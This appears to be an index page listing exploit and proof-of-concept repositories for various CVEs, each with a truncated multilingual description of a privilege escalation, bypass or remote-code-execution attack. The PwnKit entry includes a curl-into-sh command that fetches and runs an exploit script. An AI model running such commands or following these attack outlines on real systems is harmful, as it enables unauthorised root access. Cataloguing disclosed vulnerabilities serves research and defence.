CVE-2023-0179-POC-

CVE-2023-0179 POC 致谢 https://github.com/TurtleARM 复现步骤 安装 Ubuntu-22.04.5-live-server-iso 并完整安装该版本，但不要更新系统 在安装了 Ubuntu 24.04.5 的虚拟机上安装 Linux 内核版本 6.1.6 安装以下二进制包以编译内核 build-essential libncurses-dev bison flex libssl-dev libelf-dev bc libmnl-dev libnftnl-dev 将此仓库中的 config 文件复制到内核根目录，然后使用以下命令构建内核 mak...

CVE-2023-6538

CVE-2023-6538 CVE-2023-6538 is an Insecure Direct Object Reference IDOR in vulnerability found in Hitachi NAS' HNAS' System Management Unit SMU Configuration Backup & Restore functionality. This vulnerability affects SMU versions prior to 14.8.7825.01. Exploitation This exploit requires the...

AutoPwn-Titanic.htb

Titanic AutoPWN - HTB 机器 这是一个针对 Hack The Box 机器 Titanic 的自动化利用脚本。 针对 Hack The Box 上的 Titanic HTB Linux 机器的完整自动化利用脚本。完整文章 - WriteUp.md 📋 描述 它执行以下操作： 阶段 1： 通过 LFI 获取并解析 gitea.db 文件，以提取用户哈希 辅助使用 hashcat 格式破解开发者的密码（PBKDF2-HMAC-SHA256） 阶段 2： 使用破解的凭据通过 SSH 连接，并利用 CVE-2024-41817（ImageMagick）通过恶意共享库获得 ro...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc un PoC en Python para el CVE-2019-15949 Resumen Existe una vulnerabilidad en Nagios XI = 5.6.5 que permite a un atacante aprovechar un RCE para escalar privilegios a root. El exploit requiere acceso al servidor como el usuario 'nagios', o acceso CCM a través de la...

CVE-2025-29557

CVE-2025-29557 – ExaGrid MailConfiguration API Credential Disclosure 📝 Overview Vulnerability Title : SMTP Credential Disclosure via MailConfiguration API Product : ExaGrid EX10 Backup Appliance Versions Affected : 6.3 – 7.0.1.P08 CVE ID : CVE-2025-29557 Severity : High Attack Vector : Remote...

IDiagnosticProfileUAC

IDiagnosticProfileUAC Otro bypass de UAC más utilizando el objeto COM auto-elevado Virtual Factory para DiagCpl 12C21EA7-2EB8-4B55-9249-AC243DA8C666. Este objeto COM puede utilizarse para crear una instancia del objeto COM DiagnosticProfile D0B7E02C-E1A3-11DC-81FF-001185AE5E76, el cual expone el...

PINKPANTHER

PINKPANTHER Resumen Shellcode artesanal en modo kernel para Windows x64 que reemplaza el token de acceso primario del proceso en ejecución con el token del proceso SYSTEM para Elevación de privilegios EoP. Versiones de sistema operativo compatibles Windows 7/Windows Server 2008 R2 Build 7601...

ubuntu-cve-2019-14287-patch-manager

Ubuntu CVE-2019-14287 Patch Manager Ubuntu CVE-2019-14287 Patch Manager es una herramienta de laboratorio con interfaz gráfica GUI para comprobar, mitigar y verificar la protección contra CVE-2019-14287, una vulnerabilidad de escalada de privilegios en sudo. Este proyecto se desarrolló para un...

CVE-2025-62215_analysis

Análisis de Vulnerabilidad CVE-2025-62215 Proyecto de investigación de vulnerabilidad para escalada de privilegios por Race Condition / Double-Free en el kernel de Windows. Resumen Elemento| Detalle ---|--- CVE| CVE-2025-62215 Componente| Windows Kernel ntoskrnl.exe Tipo| Race Condition CWE-362 /...

CVE-2023-45503

CVE-2023-45503 Vulnerability Details Overview In Macrob7 Macs Framework Content Management System CMS versions 1.1.4f and prior, insecure handling of user input leads to 16 SQL injection vulnerabilities. The ability to execute arbitrary SQL queries can lead to private data being leaked including...

CVE-2021-3490-POC

CVE-2021-3490 Créditos a https://github.com/chompie1337 Pasos para Reproducir Instale el ubuntu-20.04.6-live-server-amd64.iso desde los Lanzamientos de Ubuntu, e instálelo en la máquina virtual. wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso Después de instalar la ISO...

CVE-2022-22077

✅ Marco de explotación de CVE-2022-22077 RTCore64.sys: Este documento proporciona una visión general completa del marco de explotación de CVE-2022-22077, un sofisticado kit de herramientas de ataque BYOVD Bring Your Own Vulnerable Driver que apunta a la vulnerabilidad del controlador RTCore64.sys...

cve-2023-4911-exploit-optimized

Aviso de seguridad : Este repositorio contiene código de exploit funcional con fines educativos y de investigación. Úsalo de forma responsable y solo en sistemas que sean tuyos o para los que tengas permiso explícito de prueba. Exploit CVE-2023-4911 Looney Tunables Exploits optimizados y...

PwnKit_CVE-2021-4034

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKitCVE-2021-4034/main/PwnKit.sh"...

CVE-2025-46157

CVE-2025-46157 CVE-2025-46157 – Timetrax V1 2025 远程代码执行与权限提升 摘要 在 Timetrax V1 2025 中发现了一个严重漏洞，允许经过身份验证的用户绕过文件上传限制并实现远程代码执行 RCE 。该问题存在于考勤模块的请假申请表单 中，由于服务器端验证薄弱，攻击者可以通过修改请求上传恶意的 .asp Web Shell。 进一步利用可通过滥用 SeImpersonatePrivilege 使用 EfsPotato 技术实现权限提升至 SYSTEM 。 漏洞详情 ✅ 远程代码执行 RCE 组件： 考勤模块中的请假申请表单 原因：...

CVE-2021-1675

🖨️ CVE-2021-1675 — PrintNightmare Windows Print Spooler RCE/LPE Tipo: Prueba de Concepto — Simulada No Funcional CVE: CVE-2021-1675 + CVE-2021-34527 CVSS: 7.8 LPE / 8.8 RCE Alias: PrintNightmare Parcheado: Junio/Julio 2021 — KB5004945 Añadido al CISA KEV: Julio 2021 ⚠️ El payload de este PoC es...

CVE-2025-29556

CVE-2025-29556 – ExaGrid Security Officer Account Creation Bypass 📝 Overview Vulnerability Title : Unauthorized Creation of Security Officer Account Product : ExaGrid EX10 Backup Appliance Version Affected : Tested on current version at disclosure Versions Affected : 6.3 – 7.0.1.P08 CVE ID :...

CVE-2025-48799

Descripción Este es un PoC para CVE-2025-48799, una vulnerabilidad de elevación de privilegios en el servicio de Windows Update. Esta vulnerabilidad afecta a clientes de Windows win11/win10 con al menos 2 discos duros. Cuando la máquina tiene múltiples discos duros, es posible cambiar la ubicació...

LolModapi

hi hackers. This one is an unauthenticated MSR write inside MODAPI.sys, the kernel driver that MSI Dragon Center 2.0.155.0 installs. The driver exposes a device object with a security descriptor that lets any local user open it, no admin and no UAC. Once you have the handle there is no whitelist ...

CVE-2025-12399

Alex Reservations: Smart Restaurant Booking = 2.2.3 - Authenticated Admin+ Arbitrary File Upload The WordPress Alex Reservations plugin versions 2.2.3 and prior contains an arbitrary file upload vulnerability that allows authenticated WordPress administrators to upload malicious PHP files to the...